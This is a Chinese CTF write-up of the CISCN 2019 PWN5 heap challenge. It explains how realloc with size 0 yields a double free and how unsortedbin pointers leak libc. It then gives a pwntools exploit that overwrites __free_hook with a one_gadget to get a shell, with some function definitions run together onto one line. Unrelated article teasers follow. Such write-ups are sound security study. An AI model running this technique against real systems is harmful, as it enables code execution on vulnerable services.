pwn--realloc [CISCN 2019东南]PWN5

首先学习一下realloc这个函数,以下是文心一言的解释:

realloc是C语言库函数之一,用于重新分配内存空间。它的主要功能是调整一块内存空间的大小。当需要增加内存空间时,realloc会分配一个新的更大的内存块,然后将原内存块的内容复制到新块中,并释放原内存块;当需要减少内存空间时,realloc会尝试将内存块的大小减少到新的大小,并返回调整后的内存块地址。

realloc函数的原型为:void* realloc(void* ptr, size_t size); 其中,ptr是指向之前分配的内存块的指针,size是要分配的新内存块的大小(以字节为单位)。如果ptr为NULL,则realloc函数的行为与malloc函数相同;如果size为0,则realloc函数会释放由ptr指向的内存块。realloc函数的返回值是指向新分配的内存块的指针。如果分配成功,则返回值不为NULL;如果分配失败,则返回NULL。

提取关键点:分配更大的内存时会先释放原chunk,当size为0时,会释放ptr。这是不借助free函数的释放,不会将指针清空,可以用来构造doublefree。

还有一个知识点:

在程序中,我们请求了一个大小为0的堆块。

但通过gdb调试发现,堆块大小为0x20,也就是说malloc(0),malloc(8)和malloc(0x10)效果其实是一样的,由于fd指针和bk指针,一个chunk的大小至少是0x20。

有了以上两个知识点,让我们进入下面这道题:

delete之后会把指针清空。没办法uaf。也不存在堆溢出。这该怎么办呢。

发现edit有realloc函数,恍然大悟!

这里补充一点,低版本,至少libc 2.27及以下当你从unsortedbin分配一个堆块时,不会把fd和bk指针清空,可以利用这个泄露Libc基址,至少libc 2.31及以上会把这两个区域清空。

以下是exp:

from pwn import *
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
io=remote('node5.anna.nssctf.cn',24158)
#io=remote('pwn.challenge.ctf.show',28284)
#io=process('./pwn')def add(size,content='a'):io.recvuntil(b"Your choice:")io.sendline(b'1')io.recvuntil(b"size?>")io.sendline(str(size).encode())io.recvuntil(b"content:")io.send(content)def delete(idx) :io.recvuntil(b"Your choice:")io.sendline(b'4')io.recvuntil(b"Index:")io.sendline(str(idx).encode())def show(idx):io.recvuntil(b"Your choice:")io.sendline(b'3')io.recvuntil(b"Index:")io.sendline(str(idx).encode())def edit(idx,content) :io.recvuntil(b"Your choice:")io.sendline(b'2')io.recvuntil(b"Index:")io.sendline(str(idx).encode())io.recvuntil(b"New content:")io.send(content)add(0x410)#0
add(0x10)#1
delete(0)
add(0x410,b'a'*5+b'b'*3)#0
show(0)
io.recvuntil(b'bbb')
usbin=u64(io.recv(6).ljust(0x8,b'\x00'))
print('usbin:',hex(usbin))
#gdb.attach(io)
#pause()
malloc_hook=usbin-0x70
libc_base=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
print('free_hook:',hex(free_hook))
print('system:',hex(system))
add(0)#2
delete(1)
io.recvuntil(b"Your choice:")
io.sendline(b'2')
io.recvuntil(b"Index:")
io.sendline(b'2')
delete(2)
one_gadget=libc_base+0x4f302
add(0x10,p64(free_hook))#1
#gdb.attach(io)
#pause()
add(0x10,p64(one_gadget))#2
add(0x20,b'/bin/sh\x00')#3
delete(3)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/3070.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

冯唐成事心法笔记 —— 知世

系列文章目录 冯唐成事心法笔记 —— 知己 冯唐成事心法笔记 —— 知人 冯唐成事心法笔记 —— 知世 冯唐成事心法笔记 —— 知智慧 文章目录 系列文章目录PART 3 知世 成事者的自我修养怎样做一个讨人喜欢的人第一,诚心第二,虚心 如何正确看待别人的评…

超越边界:如何ChatGPT 3.5、GPT-4、DALL·E 3和Midjourney共同重塑创意产业

KKAI(kkai人工智能)是一个整合了多种尖端人工智能技术的多功能助手平台,融合了OpenAI开发的ChatGPT3.5、GPT4.0以及DALLE 3,并包括了独立的图像生成AI—Midjourney。以下是这些技术的详细介绍: **ChatGPT3.5**&#xf…

edge浏览器新建标签页闪退怎么解决?(打不开标签页)

文章目录 问题描述方法一方法二 问题描述 昨天开始出现这个问题,每次点击 打开一个新的标签页,马上就闪退了。 既然是新建标签页的问题,那么就在设置里看一下新建标签页发生了什么问题。 方法一 进入设置,会发现,有…

信号分解 | SSA(奇异谱分析)-Matlab

分解效果 SSA(奇异谱分析) 信号分解 | SSA(奇异谱分析)-Matlab 奇异谱分析(Singular Spectrum Analysis,简称SSA)是一种用于时间序列分析的方法。它可以用于数据降维、信号分解、噪声去除和预测等应用。 SSA的基本思想是将时间序列分解为若干个成分,每个成分代表着不同的…

语言模型的发展

文章目录 语言模型的发展历程大语言模型的能力特点大语言模型关键技术概览大语言模型对科技发展的影响 语言模型的发展历程 一般来说,语言模型旨在对于人类语言的内在规律进行建模,从而准确预测词序列中未来(或缺失)词或词元&…

Dubbo应用可观测性升级指南与踩坑记录

应用从dubbo-3.1.*升级到dubbo-*:3.2.*最新稳定版本,提升应用的可观测性和度量数据准确性。 1. dubbo版本发布说明(可不关注) dubbo版本发布 https://github.com/apache/dubbo/releases 【升级兼容性】3.1 升级到 3.2 2. 应用修改点 应用一般只需要升级dubbo-s…

Vue+OpenLayers7入门到实战:OpenLayers加载GeoJson格式数据并解析成多边形、线段、点和区域范围等要素叠加到地图矢量图层上

返回《Vue+OpenLayers7》专栏目录:Vue+OpenLayers7入门到实战 前言 本章介绍如何使用OpenLayers7在地图上加载GeoJson格式数据并解析成多边形、线段、点和区域范围等要素叠加到地图矢量图层上的功能。 前面两章也是可以支持多边形、线段、点和区域范围灯数据加载的,只是没…

Go 到底是哪里没有做好,我请问呢?

没有引导好并发理念 从历史背景来看,在 Go 诞生的那个年代,并发编程是一个比较新颖的理念。许多其他编程语言、论文甚至书籍都写过关于并发编程的内容。并发编程还没有成为主流思想。 Go 团队发明了 “goroutine” 这个词,Go 让协程的使用变…

轴承轶闻01-扎雷茨基和帕姆格伦

这个口述历史项目是NASA的一个在线资源,旨在记录和保留NACA时期的历史资料和相关信息。NACA成立于1915年,直到1958年成立NASA之前一直存在。在这段时间里,NACA在航空技术和航天领域做出了许多重要贡献,为美国的航空航天事业奠定了…

Leetcode刷题之——队列Queue|先入先出FIFO|广度优先搜索BFS|栈Stack|后入先出LIFO|深度优先搜索DFS

Leetcode刷题之——队列Queue|先入先出FIFO|广度优先搜索BFS|栈Stack|后入先出LIFO|深度优先搜索DFS 1. 队列(Queue)——FIFO,先入先出的数据结构1.1 循环队列1.2 内置队列的常用方法(C)1.3 广度优先搜索(BFS) 2.栈(St…

袁庭新ES系列16节|Elasticsearch客户端高级操作

前言 上一章节袁老师主要带领大家学习了Elasticsearch客户端基础部分的内容,Elasticsearch客户端还有很多高级相关的操作,这一章节主要带领大家来学习Elasticsearch客户端高级相关的操作。接下来就跟上袁老师的节奏继续探讨Elasticsearch的相关知识。 一…

Linux常用命令总结(四):文件权限及相关命令介绍

1. 文件属性信息解读 1. 文件类型和权限的表示 0首位表示类型。在Linux中第一个字符代表这个文件是目录、文件或链接文件 符号对应文件类型-代表文件dd 代表目录l链接文档(link file); 1-3位确定属主(该文件的所有者)拥有该文件的权限。 4-6…

深度探讨容器化技术在网络安全中的应用与挑战

随着容器化技术的快速发展,尤其是Docker与Kubernetes(K8s)的广泛应用,企业IT架构正经历着从传统虚拟机向轻量级容器的深刻变革。容器化技术为提升资源利用率、加速应用部署及维护提供了强大支持,但同时也给网络安全带来…

每日一题:托普利茨矩阵

给你一个 m x n 的矩阵 matrix 。如果这个矩阵是托普利茨矩阵,返回 true ;否则,返回 false 。 如果矩阵上每一条由左上到右下的对角线上的元素都相同,那么这个矩阵是 托普利茨矩阵 。 示例 1: 输入:matrix…

六西格玛管理培训对于个人的职业发展有哪些帮助?

在职业生涯的辽阔天地中,要想展翅高飞,不仅需要坚实的专业根基,还需掌握那些能引领团队、驱动变革的先进管理理念与方法。六西格玛管理作为一种以数据为基础、追求卓越的管理策略,正逐渐成为企业提升竞争力的有力工具,…

关于msvcp140.dll下载的方法分享,怎么才能靠谱的修复msvcp140.dll

msvcp140.dll文件的缺失,就代表你要去它重新下载回来,不然的话你的某些程序是没办法启动的,会直接卡死报错打不开!今天就来教一下大家怎么去把msvcp140.dll下载回来,完成修复! 一.msvcp140.dll文件有什么作…

用java实现PDF的下载

1.下载PDF模版 2.导入依赖 <dependency><groupId>com.itextpdf</groupId><artifactId>itext7-core</artifactId><version>7.2.5</version><type>pom</type></dependency> 3.完整代码 package com.by.controller…

冯唐成事心法笔记 —— 知智慧

系列文章目录 冯唐成事心法笔记 —— 知己 冯唐成事心法笔记 —— 知人 冯唐成事心法笔记 —— 知世 冯唐成事心法笔记 —— 知智慧 文章目录 系列文章目录PART 4 知智慧 知可为&#xff0c;知不可为大势不可为怎么办为什么人是第一位的多谈问题&#xff0c;少谈道理用金字塔…

面试经典150题——路径总和

​ 1. 题目描述 2. 题目分析与解析 2.1 思路一 注意题目的关键点&#xff1a;判断该树中是否存在 根节点到叶子节点 的路径&#xff0c;起点是root&#xff0c;终点是叶子节点。 那么我们就可以从根节点按照层序遍历的方式&#xff0c;从根节点从根到 叶子不断对路径进行加…

前端H5动态背景登录页面(下)

最近正好有点儿时间&#xff0c;把之前没整理完的前端动态背景登录页面给整理一下&#xff01;这是之前的连接前端H5动态背景登录页面&#xff08;上&#xff09;&#xff0c;这主要是两个登陆页面&#xff0c;一个彩色气泡&#xff0c;一个动态云朵&#xff0c;感兴趣的可以点…